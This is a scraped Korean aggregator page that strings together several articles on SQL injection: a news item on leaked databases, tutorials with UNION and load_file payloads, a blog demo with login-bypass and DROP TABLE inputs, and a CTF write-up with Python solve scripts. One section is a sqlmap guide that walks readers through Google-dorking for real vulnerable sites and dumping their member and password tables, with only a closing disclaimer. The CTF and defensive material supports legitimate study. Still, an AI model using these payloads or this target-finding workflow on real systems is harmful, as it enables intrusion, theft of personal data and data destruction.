Skip to content
Home » 웹 사이트 Db 해킹 | 7분으로 Sql인젝션을 이해하자 | Db가 털리는 과정 | 개인 정보는 이렇게 유출된다 181 개의 가장 정확한 답변

웹 사이트 Db 해킹 | 7분으로 Sql인젝션을 이해하자 | Db가 털리는 과정 | 개인 정보는 이렇게 유출된다 181 개의 가장 정확한 답변

당신은 주제를 찾고 있습니까 “웹 사이트 db 해킹 – 7분으로 SQL인젝션을 이해하자 | DB가 털리는 과정 | 개인 정보는 이렇게 유출된다“? 다음 카테고리의 웹사이트 sk.taphoamini.com 에서 귀하의 모든 질문에 답변해 드립니다: https://sk.taphoamini.com/wiki/. 바로 아래에서 답을 찾을 수 있습니다. 작성자 Normaltic Place 이(가) 작성한 기사에는 조회수 6,398회 및 좋아요 125개 개의 좋아요가 있습니다.

웹 사이트 db 해킹 주제에 대한 동영상 보기

여기에서 이 주제에 대한 비디오를 시청하십시오. 주의 깊게 살펴보고 읽고 있는 내용에 대한 피드백을 제공하세요!

d여기에서 7분으로 SQL인젝션을 이해하자 | DB가 털리는 과정 | 개인 정보는 이렇게 유출된다 – 웹 사이트 db 해킹 주제에 대한 세부정보를 참조하세요

안녕하세요! 노말틱입니다 🙂
이번에 가져온 주제는!
SQL 인젝션입니다.
웹 해킹의 기초이자 꽃이라고 불리는 공격 기법인데요.
자세한 공격 기법들은 수업에서 다루고 있습니다!
영상으로 일단! SQL 인젝션이 왜 일어나는지 어떤 원리인지 알아보시죠!
#웹해킹#해킹기초#SQL인젝션

웹 사이트 db 해킹 주제에 대한 자세한 내용은 여기를 참조하세요.

한국 웹사이트 8곳 해킹 당했나? DB 정보 딥웹에 유출됐다

… 가운데 얼마 전에는 국내 기업을 비롯해 학회, 조합, 협회, 쇼핑몰 등이 망라된 8곳의 웹사이트가 해킹돼 DB 정보가 딥웹에 유출된 것으로 드러났다.

+ 여기를 클릭

Source: www.boannews.com

Date Published: 6/26/2022

View: 6722

웹 해킹 과 데이터베이스 – Soulhack

일반적으로 웹 사이트에서 게시판이나 회원 로그인 등은 모두 데이터베이스를 사용한 것이다. 예를 들어서 웹 페이지의 회원 기능을 제작하기 위해 쓰이는 구문들은 다음과 …

+ 여기에 표시

Source: soulhack.tistory.com

Date Published: 2/13/2022

View: 3105

해킹툴 SQL인젝션 공격 / SQLMAP – 공돌이청지

간단하게 설명하면 웹사이트, 어플리케이션의 정보가 저장되는 database를 직접적으로 공격하는 방법입니다. DB서버로 주로 많이 쓰는 것이 오라클의 …

+ 자세한 내용은 여기를 클릭하십시오

Source: univbox.tistory.com

Date Published: 12/7/2022

View: 5061

[ 해킹 기초 ] SQL 인젝션 공격을 이용한 웹 사이트 권한 획득

이제 이로써 데이터베이스에 등록된 사용자는 총 3명입니다. 참고로 COMMIT;를 입력해서 완전히 데이터를 입력하시는 것이 좋습니다.

+ 여기에 더 보기

Source: m.blog.naver.com

Date Published: 3/4/2022

View: 3002

초보자도 뚫는 웹사이트 ‘해킹 무방비’ – 머니투데이

이 중 상당수가 해킹시연 동영상과 같은 SQL 인젝션 공격에 당했다. 이들 웹사이트는 주로 악성코드를 유포하는데 악용됐다. 그러나 내부DB서버가 …

+ 여기에 표시

Source: news.mt.co.kr

Date Published: 5/23/2021

View: 543

[DCTF] SQL Tutor – 웹해킹 / SQL Injection – 보안맨

SQL Injection은 부정한 입력을 통해 서버에서 DB로 날리는 SQL을 조작해 데이터베이스를 공격하는 기법이다. 보통 서버와 DB가 상호작용을 하는 로그인창 …

+ 자세한 내용은 여기를 클릭하십시오

Source: hackingstudypad.tistory.com

Date Published: 5/22/2021

View: 3578

운영중인 웹사이트의 DB정보 해킹

DB서버 및 웹사이트 소스는 알바 식으로 월 얼마씩 주고 운영을 맡기고 있더군요… 물론 서버 접속계정이나 이런것도 전혀 모르고..그냥 맡겨놓은 상태 …

+ 여기에 보기

Source: www.hackerschool.org

Date Published: 12/4/2021

View: 1764

[웹해킹] SQL 인젝션 공격 이란? – 오꽈

SQL 인젝션 공격 이란 데이터베이스에 전송되는 SQL 쿼리문을 사용자 입력으로 조작하여, 데이터베이스 내의 데이터를 변조하거나 허가되지 않은 정보에 …

+ 여기에 보기

Source: oggwa.tistory.com

Date Published: 2/6/2022

View: 7047

주제와 관련된 이미지 웹 사이트 db 해킹

주제와 관련된 더 많은 사진을 참조하십시오 7분으로 SQL인젝션을 이해하자 | DB가 털리는 과정 | 개인 정보는 이렇게 유출된다. 댓글에서 더 많은 관련 이미지를 보거나 필요한 경우 더 많은 관련 기사를 볼 수 있습니다.

7분으로 SQL인젝션을 이해하자 | DB가 털리는 과정 | 개인 정보는 이렇게 유출된다
7분으로 SQL인젝션을 이해하자 | DB가 털리는 과정 | 개인 정보는 이렇게 유출된다

주제에 대한 기사 평가 웹 사이트 db 해킹

  • Author: Normaltic Place
  • Views: 조회수 6,398회
  • Likes: 좋아요 125개
  • Date Published: 2021. 7. 16.
  • Video Url link: https://www.youtube.com/watch?v=-Qf-eWpLPi8

한국 웹사이트 8곳 해킹 당했나? DB 정보 딥웹에 유출됐다

[이미지=utoimage]

▲딥웹 포럼에 공개된 한국 웹 사이트 8곳의 DB 정보[이미지=보안뉴스] [보안뉴스 권 준 기자] 최근 해커들이 해킹으로 빼낸 개인정보나 국내 회사 내부정보 등이 다크웹 또는 딥웹을 통해 유출돼 문제가 커지고 있는 가운데 얼마 전에는 국내 기업을 비롯해 학회, 조합, 협회, 쇼핑몰 등이 망라된 8곳의 웹사이트가 해킹돼 DB 정보가 딥웹에 유출된 것으로 드러났다.다크웹과 딥웹 등에서 활동하고 있는 해커들의 동향을 추적하고 있는 보안전문가에 따르면 △기업 4곳(**럭스, **스캔, **이엠, **메인) △온라인 쇼핑몰 1곳(**어) △학회 1곳(****학회) △조합 1곳(******인쇄 협동조합) △협회 1곳(********/***산업협회) 등 총 8곳의 웹 사이트가 해킹돼 해당 웹사이트에서 빼낸 데이터베이스가 딥웹에 공개됐다.지난 1월 말 여행정보를 공유하는 국내 여행 사이트가 해킹을 당해 17만 건에 달하는 회원정보가 딥웹에 유출된 바 있으며, 2월 말에도 국내 쇼핑몰에 대한 해킹 정보가 딥웹에 올라온 데 이어 이번에는 무려 8개에 달하는 국내 웹사이트가 해킹돼 해당 DB 정보가 한꺼번에 딥웹 포럼에 공개돼 버린 것이다.딥웹이나 다크웹에서 주로 활동하는 해커들은 자신들이 해킹한 웹 사이트의 DB 정보, 개인정보 등 내부 정보 가운데 일부를 딥웹 커뮤니티 포럼에 공개해 판매를 시도하거나 전부 공개해 버리기도 한다.이번에 유출된 DB 정보로 인한 2차 피해 우려도 제기되고 있다. 개인정보 등 내부 정보를 입수한 해커들이 이를 바탕으로 2차 공격대상을 물색한 다음, 사회공학적 기법을 바탕으로 다양한 스미싱, 피싱 공격을 감행할 수 있기 때문이다. 또한, DB 정보를 빼낸 8곳을 대상으로 랜섬웨어 공격 등 추가 공격을 시도할 가능성도 있다.이에 스미싱, 피싱 공격을 받거나 계정 해외 로그인 시도가 발견되는 등 개인정보가 유출됐다고 판단되면 2단계 인증 등을 통해 계정 보안을 강화하고, 개인용 계정과 업무용 계정을 서로 다르게 설정해 크리덴셜 스터핑 등의 공격을 예방해야 한다. 또한, 백신 사용 및 자동 업데이트 설정, 알 수 없는 URL 및 파일 접근 금지 등 기본 보안수칙을 반드시 준수해야 한다.참고로, 딥웹(Deep Web)은 구글, 네이버 등 포털 사이트에서 검색 가능한 콘텐츠 영역인 표면 웹(Surface Web)과 달리 검색 사이트에 잡히지 않는 콘텐츠 영역을 의미하는데, 군대나 회사에서 쓰는 내부 통신망(인트라넷)도 딥웹에 속한다. 딥웹에는 토르(Tor) 브라우저 등 특정 소프트웨어로만 접속 가능한 콘텐츠 영역이 있는데, 이게 바로 다크웹(Dark Web)이다.[권 준 기자( [email protected] )]

www.boannews.com) 무단전재-재배포금지>

Soulhacker

데이터베이스는 단순하게 ‘ 데이터의 집합’ 이라고 할 수 있다. 일반적으로 웹 사이트에서 게시판이나 회원 로그인 등은 모두 데이터베이스를 사용한 것이다. 예를 들어서 웹 페이지의 회원 기능을 제작하기 위해 쓰이는 구문들은 다음과 같다.

● 회원 가입 – INSERT 문

● 회원정보 수정 – UPDATE 문

● 로그인 – SELECT 문

● 회원 탈퇴 – DELETE 문

예) SELECT idx FROM member WHERE id= ‘입력 아이디’ and password = ‘입력 패스워드’

=> member 테이블에서 id가 ‘입력아이디’이고 password가 ‘입력패스워드’인 결과의 idx 컬럼(열) 출력.

위 쿼리의 ROW 값이 리턴된다면 올바른 아이디와 패스워드를 입력한 것이고, 리턴 값이 없다면 올바흐지 않은 정보를 입력했다고 판단 할 수 있다.

예) INSERT into member(id,password,name) values(‘입력 아이디’ , ‘입력 패스워드’ , ‘입력 이름’);

=> member 테이블에 ‘입력 아이디’ , ‘입력 패스워드’ , ‘입력 이름’ 값을 추가

예) UPDATE member SET password = ‘새로운 패스워드’ WHERE id = ‘hellsonic’

=> member 테이블에 id가 hellsonic인 경우 패스워드를 ‘새로운 패스워드’로 변경

예) DELETE FROM member WHERE id=’hellsonic’

=> member 테이블에 id가 hellsonic 인 경우, ROW를 삭제

공격에 자주 사용되는 UNION 문은 둘 이상의 ROW가 리턴된다.

예) SELECT 1 FROM DUAL UNION SELECT 2

UNION문은 SQL 삽입 공격 시 해커들이 손쉽게 데이터를 빼낼 수 있기 때문에 가장 많이 사용되는 쿼리이다. 단, UNION문 사용 시 앞 SELECT 문의 칼럼 개수와 뒤 SELECT문의 칼럼 개수가 같아야 한다.

예) SELECT 1,2,3 UNION SELECT 4,5,6

사용자의 입력값은 대개 WHERE 조건절에 들어가게 된다. Integer 형식이라면 따옴표(쿼터) 값 없이 그냥 입력되겠지만, String형식인 경우 작은 따옴표(싱글쿼터) 나 큰따옴표(더블쿼터) 사이에 문자열 값이 들어가게 되므로 따옴표를 문자열 입력값에 삽입해 쿼리를 새로 작성할 수 있다.

예) 아이디에 admin, 패스워드 대신에 ‘or ‘1’ = ‘1 이라는 값을 넣는다면 쿼리는 다음과 같이 입력될 것이다.

=> SELECT id FROM member WHERE id = ‘admin’ and password = ‘ ‘ or ‘1’=’1′ (마지막에 싱글쿼터는 자동으로 붙는다)

이 쿼리의 조건절을 해석해보면, id 가 admin이면서 패스워드가 빈칸(‘ ‘)이거나 , 1 이 1인 경우다. 1=1은 참이므로 조건절의 모든 조건에 부합해 모든 ROW가 리턴될 것이고, 최상위에 있는 ROW 값의 아이디(admin)로 로그인 될 것이다. 쿼리에서 where문은 if문과 같다고 볼 수 있다. 조건식에서의 값이 참일 경우는 1(True), 거짓일 경우 0(False) 값이 리턴되므로, 1=1혹은 1값을 사용할 수 있다.

<예시>

데이터베이스 이름 :book

테이블 이름 : member

id password admin admpwd user usrpwd

유저명 출력 select user(); 버전명 출력 select version(); 현재 사용 데이터베이스명 출력 select database(); 유저 리스트 출력 select user from mysql.user 모든 스키마(schema)명 출력 select schema.name from information_schema.schemata 모든 테이블명 출력 select table_name from information_schema.tables 테이블 칼럼명 출력 select column_name from information_schema.columns where table_name = ‘테이블명’ 로컬 파일 접근 select load_file(‘/etc/passwd’) 파일로 추출 select 1234 into outfile ‘/tmp/outfile’

최종목표인 ‘관리자 패스워드’를 알아내기까지의 과정 예시

①데이터베이스명 획득(book)

Query => SELECT id FROM member WHERE id=’1234’ and password = ‘1’ union select chema_name from information_schema.schemata limit 1,1#’

결과 : Hello book

②테이블명 획득(member)

Query => SELECT id FROM member WHERE id=’1234′ and password=’1′ union select table_name from information_schema.tables where table_schema=database()#’

결과 : Hello member

③칼럼명 획득 1(id)

Query => SELECT id FROM member WHERE id=’1234′ and password=’1′ union select column_name from information_schema.columns where table_name =’member’ limit 0,1 #’

결과 : Hello id

④칼럼명 획득 2(password)

Query => SELECT id FROM member WHERE id=1234′ and password=’1′ union select column_name from information_schema.columns where table_name=’member’ limit 1,1#’

결과 : Hello password

⑤멤버 테이블의 id, password 획득

Query => SELECT id FROM member WHERE id=’1234′ and password=’1′ union select concat(id, ‘:’ ,password) from member#’

결과 : Hello admin : admpwd

2. Blind SQL

Blind SQL 삽입은 바로 결과값을 알 수 있는 것이 아니라, 쿼리 결과의 참/거짓 정보만으로 데이터를 추출해내는 기법이다.

3. 자동화 툴

pangolin, sqlmap, Havji 가 있다.

SQLMAP :: 공돌이청지

SQL Injection 공격은 해킹 수단 중에 가장 간단하면서도

정말 심각하게 치명적인 공격중에 하나입니다.

잘 알려진 공격 수단임에도 아직 허술한 사이트가 많은걸로 알려져있습니다.

얼마전에 여기어때라는 업체가 Sql 주입 공격에 당했다고도 알려져있고 인터넷커뮤니티 뽐뿌 또한 이 공격에 무너진걸로 알려져있습니다.

간단하게 설명하면 웹사이트, 어플리케이션의 정보가 저장되는 database를 직접적으로 공격하는 방법입니다.

DB서버로 주로 많이 쓰는 것이 오라클의 MySQL이나 MS의 MSSQL이 있습니다.

일단은 SQL injection에 대해 기본적인 내용들은 인터넷에 많으니 찾아보시고

저는 직접적으로 python으로 코드를 짜거나 아니면 웹에 직접 코드를 주입하는 방법이 아닌

웹 상에서 sql injection 공격에 취약한 사이트들을 대상으로 모의 해킹을 해보는 방법을 시도해보겠습니다.

그 해킹툴 중에 SQLMAP 이라는 게 있는데 따로 일일이 sql 주입을 하지 않아도 자동적으로 하면서 database의 모든 정보를 다 알아내는 프로그램이다.

우선 설치는 http://sqlmap.org 에서 설치하면 됨

그리고 제일 먼저 할 것은 SQL injection에 취약한 웹사이트를 알아내는 것이다.

구글 해킹이라는 방법이 있는데

구글을 해킹하는건아니고…

구글에서 inurl: .php?id=

를 검색한다.

그러면

웹주소에 .php?id= 가 포함된 모든 웹사이트를 검색한다.

그 웹사이트에 들어가서

예를 들어

website.co.kr/index.php?id=3

이라는 웹사이트에 접속했다고 하자

거기에서 웹주소 맨 끝에 ‘ 를 추가하자

그 때 웹사이트에 MySql 오류 ~~ 라는 식으로 뜨면 그 웹사이트는 SQL injection에 취약한 웹사이트이다.

진짜 저렇게 MySQL오류 라고 웹에 직접 뜨는 웹사이트는 그렇게 많지는 않다(물론 많긴하다)

혹은 ‘ 를 추가했을 때 뭐 알파벳이나 숫자가 아닌 문자를 막아놨다던가 별 반응이 없을땐

website.com/index.php?id=3 AND 1=2– 로 접속을 해봤을 때

원래 웹사이트가 뜨지 않고

website.com/index.php?id=3 AND 1=1– 로 접속을 했을 땐

정상적으로 웹사이트가 뜬다면

SQL injection에 취약한 웹사이트다.

AND 1=1– 가 무슨 의미인지는 다른 블로그나 구글검색으로 알아보도록 하자!

충분히 많은 정보들이 있다.

여튼

이렇게 알아낸 취약한 웹사이트를 하나 정한 뒤

맥의 터미널이나 윈도우의 cmd를 켠 뒤

sqlmap -u website.co.kr/index.php?id=3 –dbs

명령을 실행하면

뭐 많이 뜨는데

다 y누르고 좀 기다리면

database명이 모두 검색이 된다.

available databases [5]:

[*] first_db

[*] second_db

[*] third_db

[*] fourth_db

[*] fifth_db

예를들어 이렇게 결과가 떴다고하자.

실제 웹사이트를 보여줄 수는 없을 것 같아서 이렇게 대체한다.

이 화면에서

이렇게 명령어를 치면 각 데이터베이스의 table이 모두 검색이 된다

$ sqlmap -u http://website.com/index.php?id=2 -D first_db –tables

sqlmap -u [취약한웹주소] -D [Database명] –tables

[08:38:33] [INFO] fetching tables for database: ‘first_db’

Database: first_db

[4 tables]

+———-+

| member |

| good |

| second |

| third |

+———-+

결과는 이것과 비슷하게 나올 것이다.

각 table명이 검색이 되고 여기서 각 table의 column 명을 알아내야 한다.

$ sqlmap -u http://website.com/index.php?id=2 -D first_db -T member –columns

sqlmap -u [취약한웹주소] -D [Database명] -T [알아내고자하는table명] –columns 를 명령어로 치면

[08:38:51] [INFO] fetching columns for table ‘admin’ in database ‘first_db’

Database: first_db

Table: member

[2 columns]

+———–+————–+

| Column | Type |

+———–+————–+

| member_id | varchar(255) |

| password | varchar(255) |

+———–+————-+

결과가 이것과 비슷하게 나온다.

현재까지 요약을 하면

website.com이라는 사이트의

first_db 라는 database에서

member Table의 Column 2개를 알아냈다.

이제 해당 database table column의 값이 뭐가 들어있는지를 알아내자

sqlmap -u http://website.com/index.php?id=2 -D first_db -T member -C member_id,password –dump

sqlmap -u [사이트주소] -D [ DB명] -T [Table명] -C [Column명,Column명] –dump

이렇게 명령어를 쓰면

놀랍게도 내부 정보를 다 알아 낼 수가 있다.

상식을 가지고 만든 사이트라면 이런 허접한 방법에 당하지 않고

그나마 조금이라도 상식이 있는 사이트라면

password같은 정보는 보통 암호화를 해서 저장하기 때문에

저렇게 검색을 해도 원래 비밀번호를 다 캐낼 수는 없다 .

암호화를 최대한 풀긴 하는데 엄청나게 오래 걸린다.

여튼 sqlmap 을 이용하면 sql injection 공격을 매우 쉽게 할 수 있다.

조금 흥미를 가지고 알아보면 알겠지만

sql injection은 사실상 심각한 노가다의 연속이기 때문에

지금까지 한 것들을 일일이 다 알아내려면 sqlmap을 사용하지 않을때 비하면 엄청나게 오래 걸린다.

끝!

참고1.

조그마한 나의 식견을 보태자면

이 글에서 서술하는 SQL injection 정도의 공격에 털리는 웹사이트는

그냥 생각 없이 만든 웹사이트로 봐도 무방하다. 혹시나 한국 사이트에 이렇게 허술하게 운영이 되는 사이트가 있다면

해당 사이트에 꼭 알려주시길!

물론 이 방법대로 해보면 알겠지만

이런 어이없는 공격에도 털리는 사이트가

매애애애우많다

참고2. sql injection 공격 같은 경우에는

그 공격의 위험성 만큼 매우 큰 범죄로 잘못걸리면 죄가 굉장히 크다.

다양한 자료를 검색하면서 sql injection 에 대해 더 많이 알더라도

장난으로라도 웹사이트에 직접적으로 해가 될 행동은 하지마시길.

[ 해킹 기초 ] SQL 인젝션 공격을 이용한 웹 사이트 권한 획득

http://blog.naver.com/ndb796/220632589882

합법적 해킹 시연을 위해서 제가 직접 만든 JSP 웹 사이트를 이용하도록 하겠습니다.

제 서버에 접속을 하면 다음과 같은 LoginForm.jsp 화면이 메인으로 뜨게 됩니다.

현재 제 데이터베이스에 등록된 사용자부터 일단 확인하겠습니다.

위와 같이 현재 한 명의 사용자만 제가 등록을 해놓았군요.

일단 무작위로 두 개의 사용자 데이터를 추가적으로 등록하겠습니다.

이제 이로써 데이터베이스에 등록된 사용자는 총 3명입니다. 참고로 COMMIT;를 입력해서 완전히 데이터를 입력하시는 것이 좋습니다.

원래는 위와 같이 정상적으로 계정을 입력한 뒤에 접속하면 환영 메시지가 떠야 정상입니다.

아래처럼 아무 값이나 입력하고 Submit 버튼을 누르게 되면 당연히 엑세스가 거부됩니다.

하지만 이번엔 아이디에 ‘ or 1=1 — 이라는 값을 넣고 비밀번호에 아무런 값이나 넣어보겠습니다.

이상하게도 Mike Johnson이라는 사람의 계정의 권한을 획득했습니다.

이게 어떻게 된 일일까요? 다시 코드를 한 번 살펴보겠습니다.

위 코드를 보면 바로 다음의 SQL 문을 실행한다는 것을 알 수 있습니다.

SELECT * FROM users WHERE userName = ‘ 아이디 ‘ AND password = ‘ 비밀번호 ‘

​말 그대로 String의 형태로 아이디와 비밀번호를 입력 받아서 그것을 필터링 없이 처리를 해주고 있습니다.

​이것은 상당한 보안 취약점을 가져옵니다. 위에 입력한 ‘ or 1=1 –는 데이터로서 넘어갈 때 다음의 SQL문을

실행시킵니다. 비밀번호로 입력한 Hacked!도 포함해보겠습니다.

SELECT * FROM users WHERE userName = ” or 1=1 — AND password = ‘​Hacked!’

​바로 위 SQL 실행 문장이 됩니다. 이것을 실제로 데이터베이스에 넣고 실행해보겠습니다.

위와 같이 3개의 계정이 모두 나오게 됩니다. 실제로 처리되는 과정을 볼 수 있는 것이죠.

그 이유는 Oracle 11g의 문법에서 — 뒤에 나오는 모든 명령어는 주석처리 되기 때문입니다.

즉, SELECT * FROM users WHERE userName = ” or 1=1;이 실행되는 것과 같은 결과가 나옵니다.

​즉, 위의 결과에서 가장 먼저 출력되는 하나의 결과를 받아서 권한을 승인하기 때문에 정상적으로 접속이 되는 것입니다.

저는 1=1을 예시로 입력했지만 ‘x’ = ‘x’와 같은 SQL문을 삽입해서 공격할 수도 있습니다. 한 마디로 ‘x’ =’x’은 항상 성립하기 때문에

userName = ” OR ‘x’ =’x’ 또한 항상 성립한다는 것이죠. 이러한 공격의 결과는 항상 “Select * FROM users;”가 되겠습니다.​

이번에는 조금 더 심화된 공격을 해보겠습니다. 권한을 얻고 싶은 사람의 아이디를 알아내서 그 아이디로 접속하도록 하겠습니다.​

​’ union select * from users where username = ‘jackdo123′–를 아이디에 입력하겠습니다. 바로 jackdo123에 접속하는 것이죠.

​비밀번호는 아무거나 입력해도 됩니다.

권한 획득에 성공했습니다.​ 위는 데이터베이스에서 실제로 같은 SQL문을 입력한 경우를 보여드린 것입니다.

이처럼 SQL 인젝션은 굉장히 위험한 공격이자 웹 개발자에게는 반드시 방어를 구축해야되는 부분이기도 합니다.

한 번 빈틈을 보이면 관리자 권한부터 오라클 최고 권한까지 뺏겨서 DB 서버 전체를 잡아먹힐 수도 있습니다.​

더 치명적인 공격 예시를 보여드리겠습니다. ​바로 데이터베이스 테이블 자체를 삭제하는 것입니다.

위 테이블은 제가 오라클 11g에서 만들어놓은 mov라는 테이블입니다.

​’; drop table mov cascade constraints; select * from users where username = ‘jackdo123’–

위 문자열을 아이디로 입력하면 mov라는 테이블을 삭제하고 jackdo123이라는 계정으로 접속이 되겠습니다.

다행히도 오라클 11g에서는 다중 SQL 문 실행이 안되기 때문에 이런 위험한 공격은 막을 수 있습니다.

하지만 MySQL이나 MS SQL 혹은 PostgrSQL을 사용한다면 이러한 공격에 순식간에 테이블이 날라갑니다.​

​ 그렇다면 SQL-Injection Attack(SQL 인젝션 공격) 은 어떻게 방어가 가능할까요?

SQL 인젝션으로부터 웹 애플리케이션을 ​보호하기 위해서는 사용자가 입력한 데이터는 절대로 사용자가 의도적으로 SQL

구문의 문법을 이행할 수 없도록 보호를 해야만 합니다. SQL 인젝션 공격을 막기 위해서는 모든 동적인 SQL 문장은 다음의

구성요소만을 이용해야 합니다.

● 불러올 수 있는 구문에 따른 저장된 절차(Stored Procedure)를 이용하기

● Prepared Statements 문법 이용하기

​하지만 이러한 접근 방법에도 입력 값의 타당성(Validation)은 확보되어야만 합니다. 모든 String

입력 데이터는 반드시 타당해야만 하고 Single Quotes(단일 인용 표시)들은 허용되어서는 안됩니다.

입력 값을 검열하는 하나의 가장 좋은 방법은 바로 정규식(Regular Expression)을 이용하는 방법입니다.

그것이 무엇이냐면 예를 들어 이메일 주소를 입력 받을 때는 @ – . _ 의 4가지 특수문자만 허용하는 등의 방법을 말합니다.

728×90

웹해킹의 꽃이라고 불리는 SQL Injection 문제이다.

SQL은 Structured Qurey Language의 약자로 데이터베이스에서 데이터를 조회, 삭제, 삽입 하기 위해 쓰는 언어이다.

SQL Injection은 부정한 입력을 통해 서버에서 DB로 날리는 SQL을 조작해 데이터베이스를 공격하는 기법이다.

보통 서버와 DB가 상호작용을 하는 로그인창, 게시판, 검색창 등등에서 발생한다.

SQL Injection이 가능하게 되면 DB에 저장되어 있는 중요한 정보들이 노출될 수 있어

상당히 위험한 취약점이다.

반응형

웹해킹 문제풀이는 캡쳐가 생명인데

아쉽게도 대회가 끝나고서야 문제를 풀어서 캡쳐가 아주 미흡하다..

문제페이지에 접속하면 이런 화면이 나온다.

SQL의 기초를 학습할 수 있게끔 만들어 놓은듯 하다.

미리 SQL문이 작성되어서 적혀있다.

학습자가 SQL문을 하나씩 선택해서 실행시켜볼 수 있도록 한거 같다.

테스트로 A를 입력해보았다.

사용자가 입력한 값이 옆에있는 SQL 쿼리의 … 부분에 들어가서

아래쪽처럼 SQL문이 완성되어 DB로 날아가고, 그 실행결과를 출력해주고 있다.

많은 경우 SQL Injection 은 ‘ (작은따옴표) 를 넣으면서 시작된다.

위의 경우를 예로 들면

A를 입력하면 SELECT * FROM users WHERE users.name=’A’ 이렇게 쿼리가 만들어지지만

‘ 를 입력하면 SELECT * FROM users WHERE users.name=”’ 이렇게 된다.

이 경우가 문제가 되는 이유는 작은 따옴표가 하나 열렸으면 닫혀야 하는데,

내가 입력한 ‘ 때문에 하나가 닫히지 않았기 때문이다.

이 부분에서 SQL 쿼리를 조작할 수 있게 된다.

하지만 이번 문제같은 경우 필터링이 걸려있다.

작은따옴표를 입력하면 위처럼 경고메시지가 뜬다.

어떻게 풀어야 하나 고민하다가 f12를 눌러 개발자도구의 네트워크 탭을 봤다.

A를 입력했을때 요청 패킷의 내용인데,

내가 입력한 A가 base64로 인코딩되어서(QQ==) /verify_and_sign_text 경로로 전달되고 있는것이 보인다.

밑에는 뭔지 모르겠지만 알고리즘을 sha1 으로 지정해주고 있다.

A를 입력했을때 응답 패킷을 보면 내가 입력한 A의 base64 인코딩된 값과 더불어서

signature 와 debug 라는 값이 추가되어 응답이 오고있는게 보인다.

그리고나서 자동으로 /execute 경로로 패킷이 날라가는데

아까 봤던 인코딩된 값이랑 signature를 같이 보내고 있다.

응답 패킷을 보면 데이터베이스로 날아간 쿼리와, 결과도 같이 보여주고 있다.

마지막에 debug : null 도 또 같이 보인다.

이 debug 라는 부분이 아주 수상해보였다.

그래서 테스트로 한번 패킷을 날려보기로 했다.

import requests import base64 url = ‘https://sqltutor.dragonsec.si/verify_and_sign_text’ payload = “A”.encode(‘utf-8’) base64en = base64.b64encode(payload).decode(‘utf-8’) data = {‘text’: base64en, ‘alg’:”sha1″, ‘debug’:’True’} r = requests.post(url, data=data) print(r.text)

python requests 를 이용해서 코드를 작성했다.

/verify_and_sign_text 경로로 패킷을 보낼때,

data 부분에 ‘debug’:’True’ 라는 부분을 추가해줬다.

응답 패킷을 보면 이렇게 나온다.

참고로 이건 debug 값을 넣지 않았을 때 응답 패킷이다.

둘을 비교해보면 확실히 내용이 다르다.

debug:True를 넣어주면 sha1 알고리즘을 사용했는지,

base64로 인코딩했는지 이런것들을 체크하는(디버깅하는) 모습이 보여진다.

import requests import base64 url = ‘https://sqltutor.dragonsec.si/execute’ payload = “A”.encode(‘utf-8’) base64en = base64.b64encode(payload).decode(‘utf-8’) data = {‘text’: base64en, ‘signature’:”hello”, ‘queryNo’:0, ‘debug’:’True’} r = requests.post(url, data=data) print(r.text)

똑같이 /execute 경로에도 debug:True 를 넣어서 패킷을 보내보았다.

이번에는 compare 하는 부분에서 체크가 안됐다.

왜나하면 아까 /verify_and_sign_text 에 먼저 패킷을 보낸 뒤에, signature 값을 받아와서

/execute 경로에 보내기 때문이다.

위 경우도 signature 값이 27cde031e250291c546aa247dfac7673cfdfc684 여야 하는데

내가 임의로 입력한 hello 와 값이 다르기 때문에 체크가 안된 것이다.

그럼 signature 값을 미리 받아서 바꿔주면 필터링된 쿼리도 실행가능하지 않을까? 라고 생각했다.

import requests import base64 url = ‘https://sqltutor.dragonsec.si/execute’ payload = “‘”.encode(‘utf-8’) base64en = base64.b64encode(payload).decode(‘utf-8’) data = {‘text’: base64en, ‘signature’:”hello”, ‘queryNo’:0, ‘debug’:’True’} r = requests.post(url, data=data) signature = r.text.split(‘”compare”:”‘)[1][0:40] data2 = {‘text’: base64en, ‘signature’: signature, ‘queryNo’:0, ‘debug’:’True’} r2 = requests.post(url, data=data2) print(r2.text)

이번엔 이렇게 코드를 짰다.

payload로 아까 필터링되었던 작은따옴표를 보내준다.

그리고 일단 /execute 경로에 debug:True로 패킷을 보내서

compare 에 적혀있는 signature 값을 훔쳐오고,

훔쳐온 signature 값을 포함해서 다시한번 /execute로 패킷을 보내준다.

실행하면 이렇게 나온다.

signature 값이 일치하기때문에 signature match 라는 문구가 뜨고,

아래쪽에 보면 쿼리도 제대로 실행된걸 볼 수 있다.

이제부터 신나게 SQL Injection을 하면 된다.

payload = “‘ or 1=1– -“.encode(‘utf-8’)

payload 부분만 이렇게 바꿔서 패킷을 보내보았다.

SQL Injection 이 성공해서 db의 모든 결과값이 다 출력된것을 볼 수 있다.

이제 중요한건 flag를 찾는것이다.

우선 column의 갯수를 확인해 봤다.

대충 눈에 보이는게 id, name, surname, age 이렇게 4개인듯 보였다.

payload = “‘ union select 1,2,3,4– -“.encode(‘utf-8’)

그다음 UNION을 사용해 SQL 인젝션을 시도해봤다.

아까 컬럼 갯수가 4개로 추측했으니 1,2,3,4 이렇게 4개만 넣어줬다.

결과를 보면 이렇게 UNION이 잘 수행되어서 1,2,3,4가 찍혀나오는걸 볼 수 있다.

다음은 테이블 이름을 알아내보자.

payload = “‘ union select 1,2,3,table_name from information_schema.tables– -“.encode(‘utf-8’)

이렇게 입력하면 테이블 이름을 뽑아낼 수 있다.

엄청 많이 나오는데 잘 찾아야 한다.

초반에 보면 flags 라는 테이블이 존재함을 알 수 있다.

그다음은 flags 테이블의 컬럼을 뽑아내본다.

payload = “‘ union select 1,2,3,column_name from information_schema.columns where table_name=’flags’– -“.encode(‘utf-8’)

이렇게하면 flags 테이블에 존재하는 컬럼들을 뽑을 수 있다.

결과가 이렇게 나오는데, flag 라는 이름의 컬럼이 있음을 알 수 있다.

payload = “‘ union select 1,2,3,flag from flags– -“.encode(‘utf-8’)

마지막으로 이렇게 하면 플래그를 추출할 수 있다.

반응형

[웹해킹] SQL 인젝션 공격 이란?

SQL 인젝션 공격

SQL 인젝션 공격 이란 데이터베이스에 전송되는 SQL 쿼리문을 사용자 입력으로 조작하여, 데이터베이스 내의 데이터를 변조하거나 허가되지 않은 정보에 접근 할 수 있는 공격이다. 웹사이트의 회원정보 등 개인정보를 빼낼 때 최근까지도 자주 쓰이는 웹 공격이다.

실제 사례

· 2011년 소니 해킹

2011년에 소니 데이터베이스가 SQL 인젝션 공격을 당해 100만 명의 회원정보와 350만 개의 디지털 쿠폰 등이 탈취

· 2015년 뿜뿌 해킹

